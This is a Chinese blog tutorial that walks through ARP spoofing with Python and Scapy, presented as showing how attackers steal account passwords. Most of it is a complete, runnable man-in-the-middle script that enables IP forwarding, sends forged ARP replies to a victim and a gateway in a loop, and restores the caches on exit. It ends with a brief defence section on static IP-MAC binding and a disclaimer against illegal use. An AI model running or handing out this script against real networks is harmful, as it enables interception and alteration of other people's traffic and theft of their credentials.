用Python演示ARP攻击的过程及应对办法
haoteby 2025-05-21 13:46 20 浏览
我们经常在电影中看到黑客能够轻松获取到别人的账号密码信息,那么现实中真的这么容易吗?今天我来带大家了解一下黑客是如何获取到别人的账号和密码信息的。
在网路中获取别人的账号密码其实不难,最简单的就是数据监听或钓鱼,那么如何进行网络数据监听呢?arp欺骗可以实现,他能进行dns欺骗和网络钓鱼的基础,通过arp欺骗我们成为了中间人,对别人电脑的通讯数据截取和伪造修改,下面我们来详细讲解一下arp欺骗。
▊ 什么是ARP欺骗
这是一种技术,攻击者可以通过该技术将欺骗性的ARP数据包(虚假数据包)发送到网络(或特定主机)上,从而使攻击者能够即时拦截,更改或修改网络流量。
一旦您(作为攻击者)成为中间人,您就可以截取或更改传入或传出受害者设备的所有网络数据报文内容。因此,在本教程中,我们将编写一个Python脚本来做到这一点。
在常规网络中,所有设备均正常地与网关通信,然后再与Internet通信,如下图所示:
现在,攻击者需要将ARP响应发送到两个主机:
向网关发送ARP响应,说“我有受害者的IP地址”。
向受害者发送ARP响应,说“我有网关的IP地址”。
一旦攻击者如上图所示执行ARP Spoof攻击,他/她将处于中间人的情况:
一旦受害者发送了任何数据包(例如HTTP请求),它将首先传递到攻击者的计算机,然后将数据包转发到网关,因此您可能会注意到,受害者对此一无所知,换句话说,他/她将无法弄清楚自己正在受到攻击。
▊ 实战演示
好了,理论说完了!在开始之前,您需要安装所需的库:
pip3 install scapy
如果您使用的是Windows,请查看本教程以使Scapy在您的计算机上正常工作。此外,您需要安装pywin32,如下所示:
pip3 install pywin32
编写Python脚本
首先,我们需要导入必要的模块:
from scapy.all import Ether, ARP, srp, send
import argparse
import time
import os
import sys
首先,我需要提到我们需要启用IP路由(即IP转发)。
在多种平台上启用IP路由的方法有很多,但是,我在这里制作了一个python模块,供您在Windows中启用IP路由。
对于类Unix用户(本教程建议的平台),您所需要做的就是编辑文件“ / proc / sys / net / ipv4 / ip_forward” ,该文件需要root用户访问权,并将值1表示已启用,或者使用以下python代码:
def _enable_linux_iproute():
"""
Enables IP route ( IP Forward ) in linux-based distro
"""
file_path = "/proc/sys/net/ipv4/ip_forward"
with open(file_path) as f:
if f.read() == 1:
# already enabled
return
with open(file_path, "w") as f:
print(1, file=f)
对于Windows用户,复制 services.py到当前目录后,代码如下:
def _enable_windows_iproute():
"""
Enables IP route (IP Forwarding) in Windows
"""
from services import WService
# enable Remote Access service
service = WService("RemoteAccess")
service.start()
好了,我们把以上代码合起来,这样兼容windows和类Unix系统的所有平台:
def enable_ip_route(verbose=True):
"""
Enables IP forwarding
"""
if verbose:
print("[!] Enabling IP Routing...")
_enable_windows_iproute() if "nt" in os.name else _enable_linux_iproute()
if verbose:
print("[!] IP Routing enabled.")
首先,我们需要一个实用程序功能,使我们能够获取网络中任何计算机的MAC地址,代码如下:
def get_mac(ip):
"""
Returns MAC address of any device connected to the network
If ip is down, returns None instead
"""
ans, _ = srp(Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(pdst=ip), timeout=3, verbose=0)
if ans:
return ans[0][1].src
我们使用Scapy的srp()函数以数据包的形式发送请求,并不断监听响应,在这种情况下,我们正在发送ARP请求并监听任何ARP响应。
其次,我们将创建一个功能来完成本教程的核心工作,给定目标IP地址和主机IP地址,它会更改目标IP地址的ARP缓存,说我们拥有主机的IP地址:
def spoof(target_ip, host_ip, verbose=True):
"""
Spoofs `target_ip` saying that we are `host_ip`.
it is accomplished by changing the ARP cache of the target (poisoning)
"""
# get the mac address of the target
target_mac = get_mac(target_ip)
# craft the arp 'is-at' operation packet, in other words; an ARP response
# we don't specify 'hwsrc' (source MAC address)
# because by default, 'hwsrc' is the real MAC address of the sender (ours)
arp_response = ARP(pdst=target_ip, hwdst=target_mac, psrc=host_ip, op='is-at')
# send the packet
# verbose = 0 means that we send the packet without printing any thing
send(arp_response, verbose=0)
if verbose:
# get the MAC address of the default interface we are using
self_mac = ARP().hwsrc
print("[+] Sent to {} : {} is-at {}".format(target_ip, host_ip, self_mac))
上面的代码获取目标的MAC地址,制作恶意ARP应答(响应)数据包,然后将其发送。
一旦我们想停止攻击,就需要将真实地址重新分配给目标设备(以及网关),如果不这样做,受害者将失去互联网连接,那么受害人就会发现异常了,通常的做法就是我们将依次发送七个合法的ARP回复数据包,代码如下:
def restore(target_ip, host_ip, verbose=True):
"""
Restores the normal process of a regular network
This is done by sending the original informations
(real IP and MAC of `host_ip` ) to `target_ip`
"""
# get the real MAC address of target
target_mac = get_mac(target_ip)
# get the real MAC address of spoofed (gateway, i.e router)
host_mac = get_mac(host_ip)
# crafting the restoring packet
arp_response = ARP(pdst=target_ip, hwdst=target_mac, psrc=host_ip, hwsrc=host_mac)
# sending the restoring packet
# to restore the network to its normal process
# we send each reply seven times for a good measure (count=7)
send(arp_response, verbose=0, count=7)
if verbose:
print("[+] Sent to {} : {} is-at {}".format(target_ip, host_ip, host_mac))
现在我们需要编写主要的代码,欺骗受害主机直到按下CTRL + C,代码如下:
if __name__ == "__main__":
# victim ip address
target = "192.168.1.100"
# gateway ip address
host = "192.168.1.1"
# print progress to the screen
verbose = True
# enable ip forwarding
enable_ip_route()
try:
while True:
# telling the `target` that we are the `host`
spoof(target, host, verbose)
# telling the `host` that we are the `target`
spoof(host, target, verbose)
# sleep for one second
time.sleep(1)
except KeyboardInterrupt:
print("[!] Detected CTRL+C ! restoring the network, please wait...")
restore(target, host)
restore(host, target)
我在Linux机器上运行了脚本,这是我的结果的屏幕截图:
在此示例中,如果您尝试检查ARP缓存,确定将我的个人计算机用作受害者:
您将看到攻击者的MAC地址(在本例中为“ 192.168.1.105”)与网关的相同,欺骗成功了。
在攻击者的计算机上,当您单击CTRL + C关闭程序时,以下是还原过程的屏幕截图:
回到受害者机器,您将看到网关的原始MAC地址已还原:
▊ 如何应对攻击
攻击成功后,攻击者还可以做很多的事情。例如,您可以在HTML响应中注入javascript代码,对目标进行DNS欺骗,拦截文件并即时对其进行修改,网络嗅探和监视、钓鱼等等。
那么如何组织arp攻击呢?
★、关闭路由器的dhcp功能,添加ip地址与mac地址静态绑定功能。
★、本地添加网关的ip地址与mac地址静态绑定。
这就是arp欺骗的python用法及应对办法,本文旨在解密攻击原理与过程及应对办法,请勿用作其他非法用途。
关注我,每天更新一篇技术好文,下一节我将揭秘一下python中的dns欺骗的过程。
- 上一篇:雷军:有人说我写的代码像诗一样优雅
- 下一篇:恶意代码常见的编程方式
相关推荐
- 别争了,Access数据库才是真正的低代码开发平台
-
Access数据库是微软公司搞出来的“奇葩”产品。...
- Access开发轻松一键将 Access 全库表格导出为 Excel
-
hi,大家好呀!在日常工作中,Access常常是我们忠实的数据管家,默默守护着项目信息、客户列表或是库存记录。它结构清晰,录入便捷,对于许多中小型应用场景来说,无疑是个得力助手。然而,当我们需要对这...
- 跟我学:从零开始用Access设计一套完整的系统(一)
-
序言:Access是一款强大而灵活的数据库软件,可以设计和开发各种类型和规模的数据库应用程序。本文旨在为您提供从零开始设计Access数据库系统的详细指导,并通过实际案例演示如何在Access中设计和...
- 问卷调查管理程序 Access数据库 功能介绍和VBA代码分享
-
o本系统包含主要功能有:问卷管理,题目管理,问卷填写,调查结果统计,数据汇总导出o数据库系统包含:表,查询,窗体,VBA代码...
- 非绑定记录窗体查看管理数据 Access数据库功能模块 VBA代码编程
-
模块Public成绩IDnumAsLong学生成绩管理PrivateSubCommand更新_Click()DoCmd.SetWarnings(False)...
- ACCESS中的DLookUp函数是如何运算的?
-
一、DLookUp函数介绍1.DLookUp函数的用途:可以用于从指定集合(一个域)中获取符合条件的特定字段的值。2.DLookUp函数的格式为:DLookUp(expr,domain,...
- Excel常用技能分享与探讨(5-宏与VBA简介 VBA之用户窗体-一)
-
用户窗体(UserForm)是VBA中创建交互式界面的核心工具,可用于数据录入、设置参数或展示信息。...
- 【每日任务计划管理系统】Access数据库管理系统 VBA代码分享
-
窗体系统主页文本框,组合框,按钮,子窗体OptionCompareDatabase...
- VBA高效开发:用用户窗体打造个性化数据录入工具
-
在日常办公中,Excel的数据录入是否总让你陷入这些困境?手动输入易错、格式混乱难追溯、重复操作耗时费力。今天,我们将突破常规,利用VBA的用户窗体(UserForm)构建一套“智能校验、流程清晰、...
- VBA编程(基于Access)第1课:VBA的作用和学习方法
-
VBA,英文全称VisualBasicforApplications,直接翻译过来叫做“可以直接使用的VB语言”。...
- Access数据库宏与VBA代码的使用(精品一)
-
Access数据库的宏相当于实现某一功能的一系列命令和操作,我们无需写代码,系统已经将主体代码集成一块,我们只需要做一些简单的操作即可,而VBA代码则是实实在在的代码写到程序里面,我们可以自己编写,也...
- 【每日任务管理系统】(2) VB 管理系统 代码 Visual Basic access数据库
-
窗体全部任务DimdhAsLong'存储高度差DimdwAsLong'存储宽度差...
- VBA连接access数据库开发软件(vba调用数据库连接)
-
VBA连接access数据库开发小软件虽然VBA(包括VB)已不再流行,但是在某些场合还是比较方便的,尤其对非编程专业人员。灵活使用VBA,可以很十分方便的处理excel,access数据,提高工作效...
- 九章云极发布全新AI智算云平台:支持秒级生成百万级Token
-
6月16日,在在九章云极智能计算科技论坛上,九章云极宣布推出全新AI智算云平台“九章智算云AlayaNeWCloud2.0”,该平台基于Serverless技术架构与强化学习技术(RL)的深度融合...
- 浅谈基于大数据技术下的“云旅游”平台运营策略研究
-
云旅游体验平台是利用大数据和虚拟技术,构建虚拟旅游环境,能够改变旅游企业的营销模式和旅游者的消费模式。本文从云旅平台多维度数据信息的获取与分析,平台体验质量反馈信息数据构建,云旅游平台服务功能设计方案...